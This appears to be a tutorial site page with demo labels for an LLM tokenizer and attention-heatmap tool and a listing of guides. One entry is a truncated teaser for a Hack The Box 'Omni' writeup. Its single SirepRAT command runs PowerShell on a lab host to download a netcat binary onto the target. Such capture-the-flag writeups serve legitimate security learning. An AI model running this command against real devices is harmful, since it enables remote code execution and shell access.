💬 LLM Tokenizer & Self-Attention Matrix

Type any prompt to observe Byte-Pair Encoding (BPE) subword tokenization and Query-Key-Value ($QK^T / \sqrt{d_k}$) attention heatmaps.

🧩 Subword Tokens & Token IDs

🔥 Self-Attention Matrix ($QK^T$)

Published Tutorials

AI & Data Science Guides by Nagendra Rana

Hackthebox omni Writeup

Hackthebox Omni Writeup

Introduction Steps Involved Port Scan python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\nc64.exe...

Support My Work